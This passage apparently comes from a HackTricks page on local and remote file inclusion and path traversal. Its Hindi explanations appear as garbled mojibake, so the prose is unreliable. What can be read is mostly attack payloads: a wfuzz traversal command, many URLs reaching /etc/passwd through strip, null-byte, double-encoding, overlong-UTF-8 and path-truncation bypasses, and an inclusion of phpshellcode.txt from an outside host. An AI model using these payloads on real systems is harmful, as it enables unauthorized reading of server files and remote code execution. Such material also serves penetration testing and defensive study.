File Inclusion/Path traversal

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

HackenProof Discord рд╕рд░реНрд╡рд░ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рддрд╛рдХрд┐ рдЕрдиреБрднрд╡реА рд╣реИрдХрд░реНрд╕ рдФрд░ рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд╢рд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░ рд╕рдХреЗрдВ!

рд╣реИрдХрд┐рдВрдЧ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рд╣реИрдХрд┐рдВрдЧ рдХреЗ рд░реЛрдорд╛рдВрдЪ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рд╕рдВрд▓рдЧреНрди рд╣реЛрдВ

рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рд╣реИрдХ рд╕рдорд╛рдЪрд╛рд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдХреА рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рддреЗрдЬрд╝-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ

рдирд╡реАрдирддрдо рдШреЛрд╖рдгрд╛рдПрдБ рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ

рдЖрдЬ рд╣реА Discord рдкрд░ рд╣рдорд╛рд░реЗ рд╕рд╛рде рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдФрд░ рд╢реАрд░реНрд╖ рд╣реИрдХрд░реНрд╕ рдХреЗ рд╕рд╛рде рд╕рд╣рдпреЛрдЧ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВ!

рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢

рд░рд┐рдореЛрдЯ рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢ (RFI): рдлрд╝рд╛рдЗрд▓ рдПрдХ рд░рд┐рдореЛрдЯ рд╕рд░реНрд╡рд░ рд╕реЗ рд▓реЛрдб рдХреА рдЬрд╛рддреА рд╣реИ (рд╕рд░реНрд╡рд╢реНрд░реЗрд╖реНрда: рдЖрдк рдХреЛрдб рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕рд░реНрд╡рд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛)ред PHP рдореЗрдВ рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрдХреНрд╖рдо рд╣реИ (allow_url_include)ред рд▓реЛрдХрд▓ рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢ (LFI): рд╕рд░реНрд╡рд░ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИред

рдХрдордЬреЛрд░реА рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рди рдХрд┐рд╕реА рддрд░реАрдХреЗ рд╕реЗ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИред

рдХрдордЬреЛрд░ PHP рдлрд╝рдВрдХреНрд╢рди: require, require_once, include, include_once

рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдЙрдкрдХрд░рдг: https://github.com/kurobeats/fimap

рдмреНрд▓рд╛рдЗрдВрдб - рджрд┐рд▓рдЪрд╕реНрдк - LFI2RCE рдлрд╝рд╛рдЗрд▓реЗрдВ

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

рдХрдИ *nix LFI рд╕реВрдЪрд┐рдпреЛрдВ рдХреЛ рдорд┐рд▓рд╛рдХрд░ рдФрд░ рдЕрдзрд┐рдХ рдкрде рдЬреЛрдбрд╝рдХрд░ рдореИрдВрдиреЗ рдпрд╣ рдмрдирд╛рдИ рд╣реИ:

/ рдХреЛ \ рдореЗрдВ рдмрджрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ ../../../../../ рдЬреЛрдбрд╝рдиреЗ рдХреА рднреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ

рдПрдХ рд╕реВрдЪреА рдЬреЛ рдХрдИ рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ /etc/password (рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рднреЗрджреНрдпрддрд╛ рдореМрдЬреВрдж рд╣реИ) рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдИ рдЧрдИ рд╣реИ, рдпрд╣рд╛рдБ рдорд┐рд▓ рд╕рдХрддреА рд╣реИ

Windows

рд╡рд┐рднрд┐рдиреНрди рд╢рдмреНрдж рд╕реВрдЪрд┐рдпреЛрдВ рдХрд╛ рд╕рдВрдпреЛрдЬрди:

/ рдХреЛ \ рдореЗрдВ рдмрджрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ C:/ рдХреЛ рд╣рдЯрд╛рдиреЗ рдФрд░ ../../../../../ рдЬреЛрдбрд╝рдиреЗ рдХреА рднреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ

рдПрдХ рд╕реВрдЪреА рдЬреЛ рдХрдИ рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ /boot.ini (рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рднреЗрджреНрдпрддрд╛ рдореМрдЬреВрдж рд╣реИ) рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдИ рдЧрдИ рд╣реИ, рдпрд╣рд╛рдБ рдорд┐рд▓ рд╕рдХрддреА рд╣реИ

OS X

рд▓рд┐рдирдХреНрд╕ рдХреА LFI рд╕реВрдЪреА рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

Basic LFI and bypasses

рд╕рднреА рдЙрджрд╛рд╣рд░рдг рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢ рдХреЗ рд▓рд┐рдП рд╣реИрдВ рд▓реЗрдХрд┐рди рдЗрдиреНрд╣реЗрдВ рджреВрд░рд╕реНрде рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢ рдкрд░ рднреА рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдкреГрд╖реНрда=http://myserver.com/phpshellcode.txt\ред

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдЕрдВрдд рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд░реНрдг рдЬреЛрдбрд╝рдиреЗ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ (рдмрд╛рдпрдкрд╛рд╕: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

рдпрд╣ PHP 5.4 рд╕реЗ рд╣рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ

рдХреЛрдбрд┐рдВрдЧ

рдЖрдк рдбрдмрд▓ URL рдПрдиреНрдХреЛрдбрд┐рдВрдЧ (рдФрд░ рдЕрдиреНрдп) рдЬреИрд╕реА рдЧреИрд░-рдорд╛рдирдХ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

From existent folder

рд╢рд╛рдпрдж рдмреИрдХ-рдПрдВрдб рдлрд╝реЛрд▓реНрдбрд░ рдкрде рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Exploring File System Directories on a Server

рдПрдХ рд╕рд░реНрд╡рд░ рдХреЗ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдкреБрдирд░рд╛рд╡реГрддреНрдд рд░реВрдк рд╕реЗ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреА рдЬрд╛ рд╕рдХреЗ, рди рдХрд┐ рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА, рдХреБрдЫ рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреА рдЧрд╣рд░рд╛рдИ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдирд╛ рдФрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреЗ рдЕрд╕реНрддрд┐рддреНрд╡ рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рдзрд┐ рдиреАрдЪреЗ рджреА рдЧрдИ рд╣реИ:

  1. Determine Directory Depth: рдЕрдкрдиреЗ рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреА рдЧрд╣рд░рд╛рдИ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░реЗрдВ /etc/passwd рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд▓рд╛рдХрд░ (рдпрджрд┐ рд╕рд░реНрд╡рд░ Linux-рдЖрдзрд╛рд░рд┐рдд рд╣реИ)ред рдПрдХ рдЙрджрд╛рд╣рд░рдг URL рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╕рдВрд░рдЪрд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рддреАрди рдХреА рдЧрд╣рд░рд╛рдИ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ:

http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. рдлреЛрд▓реНрдбрд░реЛрдВ рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪреЗрдВ: рд╕рдВрджрд┐рдЧреНрдз рдлреЛрд▓реНрдбрд░ рдХрд╛ рдирд╛рдо (рдЬреИрд╕реЗ, private) URL рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ, рдлрд┐рд░ /etc/passwd рдкрд░ рд╡рд╛рдкрд╕ рдЬрд╛рдПрдВред рдЕрддрд┐рд░рд┐рдХреНрдд рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реНрддрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдХрд┐ рдЧрд╣рд░рд╛рдИ рдХреЛ рдПрдХ рд╕реЗ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛рдП:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд░реЗрдВ: рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддреА рд╣реИ рдХрд┐ рдлрд╝реЛрд▓реНрдбрд░ рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ:

  • рддреНрд░реБрдЯрд┐ / рдХреЛрдИ рдЖрдЙрдЯрдкреБрдЯ рдирд╣реАрдВ: рдлрд╝реЛрд▓реНрдбрд░ private рд╕рдВрднрд╡рддрдГ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕реНрдерд╛рди рдкрд░ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред

  • /etc/passwd рдХреА рд╕рд╛рдордЧреНрд░реА: private рдлрд╝реЛрд▓реНрдбрд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рд╣реЛрддреА рд╣реИред

  1. рдкреБрдирд░рд╛рд╡реГрддреНрдд рдЕрдиреНрд╡реЗрд╖рдг: рдЦреЛрдЬреЗ рдЧрдП рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдХреЛ рдЙрдкрдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЙрд╕реА рддрдХрдиреАрдХ рдпрд╛ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд▓реЛрдХрд▓ рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢рди (LFI) рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред

рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╕реНрдерд╛рдиреЛрдВ рдкрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреЗрд▓реЛрдб рдХреЛ рддрджрдиреБрд╕рд╛рд░ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ /var/www/ рдореЗрдВ рдПрдХ private рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╣реИ (рдорд╛рдирддреЗ рд╣реБрдП рдХрд┐ рд╡рд░реНрддрдорд╛рди рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреА рдЧрд╣рд░рд╛рдИ 3 рд╣реИ), рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

рдкрде рдЯреНрд░рдВрдХрд╢рди рддрдХрдиреАрдХ

рдкрде рдЯреНрд░рдВрдХрд╢рди рдПрдХ рд╡рд┐рдзрд┐ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдкрдереЛрдВ рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЕрдХреНрд╕рд░ рдЙрдкрдпреЛрдЧ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рдлрд╝рд╛рдЗрд▓ рдкрдереЛрдВ рдХреЗ рдЕрдВрдд рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рд╡рд░реНрдг рдЬреЛрдбрд╝рддреЗ рд╣реИрдВред рд▓рдХреНрд╖реНрдп рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдкрде рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдП рдЬреЛ, рдЬрдм рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рддрдм рднреА рдЗрдЪреНрдЫрд┐рдд рдлрд╝рд╛рдЗрд▓ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░реЗред

PHP рдореЗрдВ, рдлрд╝рд╛рдЗрд▓ рдкрде рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдХреА рдкреНрд░рдХреГрддрд┐ рдХреЗ рдХрд╛рд░рдг рд╕рдорд╛рди рдорд╛рдиреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

  • /etc/passwd, /etc//passwd, /etc/./passwd, рдФрд░ /etc/passwd/ рд╕рднреА рдХреЛ рдПрдХ рд╣реА рдкрде рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред

  • рдЬрдм рдЕрдВрддрд┐рдо 6 рд╡рд░реНрдг passwd рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ / рдЬреЛрдбрд╝рдиреЗ (рдЬрд┐рд╕рд╕реЗ рдпрд╣ passwd/ рдмрдирддрд╛ рд╣реИ) рд╕реЗ рд▓рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рдмрджрд▓рддреА рд╣реИред

  • рдЗрд╕реА рддрд░рд╣, рдпрджрд┐ .php рдХреЛ рдлрд╝рд╛рдЗрд▓ рдкрде рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреИрд╕реЗ shellcode.php), рддреЛ рдЕрдВрдд рдореЗрдВ /. рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рдкрд╣реБрдБрдЪрд╛рдИ рдЬрд╛ рд░рд╣реА рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреЛрдИ рдкрд░рд┐рд╡рд░реНрддрди рдирд╣реАрдВ рд╣реЛрдЧрд╛ред

рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдпрд╣ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВ рдХрд┐ /etc/passwd рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдкрде рдЯреНрд░рдВрдХрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рдП, рдЬреЛ рдЗрд╕рдХреЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рд╛рдордЧреНрд░реА (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддрд╛ рдЬрд╛рдирдХрд╛рд░реА) рдХреЗ рдХрд╛рд░рдг рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд▓рдХреНрд╖реНрдп рд╣реИ:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

рдЗрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ, рдЖрд╡рд╢реНрдпрдХ рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рдХреА рд╕рдВрдЦреНрдпрд╛ рд▓рдЧрднрдЧ 2027 рд╣реЛ рд╕рдХрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рд╕рдВрдЦреНрдпрд╛ рд╕рд░реНрд╡рд░ рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рднрд┐рдиреНрди рд╣реЛ рд╕рдХрддреА рд╣реИред

  • рдбреЙрдЯ рд╕реЗрдЧрдореЗрдВрдЯ рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд╡рд░реНрдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛: рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рдЕрдиреБрдХреНрд░рдо (../) рдХреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЙрдЯ рд╕реЗрдЧрдореЗрдВрдЯ рдФрд░ рд╡рд░реНрдгреЛрдВ рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдХрд░ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЬреЛрдбрд╝реЗ рдЧрдП рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреА рдЕрдирджреЗрдЦреА рдХрд░рддреЗ рд╣реБрдПред

  • рдЖрд╡рд╢реНрдпрдХ рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рдХреА рд╕рдВрдЦреНрдпрд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рдирд╛: рдкреНрд░рдпрд╛рд╕ рдФрд░ рддреНрд░реБрдЯрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рдХреЛрдИ рднреА ../ рдЕрдиреБрдХреНрд░рдореЛрдВ рдХреА рд╕рдЯреАрдХ рд╕рдВрдЦреНрдпрд╛ рдЦреЛрдЬ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд░реВрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдиреЗ рдФрд░ рдлрд┐рд░ /etc/passwd рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреЛрдИ рднреА рдЬреЛрдбрд╝реА рдЧрдИ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ (рдЬреИрд╕реЗ .php) рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╣реЛ рдЬрд╛рдПрдВ рд▓реЗрдХрд┐рди рд╡рд╛рдВрдЫрд┐рдд рдкрде (/etc/passwd) рдмрд░рдХрд░рд╛рд░ рд░рд╣реЗред

  • рдПрдХ рдирдХрд▓реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рд╢реБрд░реВ рдХрд░рдирд╛: рдкрде рдХреЛ рдПрдХ рдЧреИрд░-рдореМрдЬреВрдж рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ (рдЬреИрд╕реЗ a/) рд╕реЗ рд╢реБрд░реВ рдХрд░рдирд╛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рдерд╛ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдПрд╣рддрд┐рдпрд╛рддреА рдЙрдкрд╛рдп рдХреЗ рд░реВрдк рдореЗрдВ рдпрд╛ рд╕рд░реНрд╡рд░ рдХреЗ рдкрде рдкрд╛рд░реНрд╕рд┐рдВрдЧ рд▓реЙрдЬрд┐рдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдкрде рдЯреНрд░рдВрдХрдЯреЗрд╢рди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп, рд╕рд░реНрд╡рд░ рдХреЗ рдкрде рдкрд╛рд░реНрд╕рд┐рдВрдЧ рд╡реНрдпрд╡рд╣рд╛рд░ рдФрд░ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕рдВрд░рдЪрдирд╛ рдХреЛ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдкрд░рд┐рджреГрд╢реНрдп рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдФрд░ рд╕рдмрд╕реЗ рдкреНрд░рднрд╛рд╡реА рд╡рд┐рдзрд┐ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рдг рдЕрдХреНрд╕рд░ рдЖрд╡рд╢реНрдпрдХ рд╣реЛрддрд╛ рд╣реИред

рдпрд╣ рднреЗрджреНрдпрддрд╛ PHP 5.3 рдореЗрдВ рдареАрдХ рдХреА рдЧрдИ рдереАред

рдлрд┐рд▓реНрдЯрд░ рдмрд╛рдпрдкрд╛рд╕ рдЯреНрд░рд┐рдХреНрд╕

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

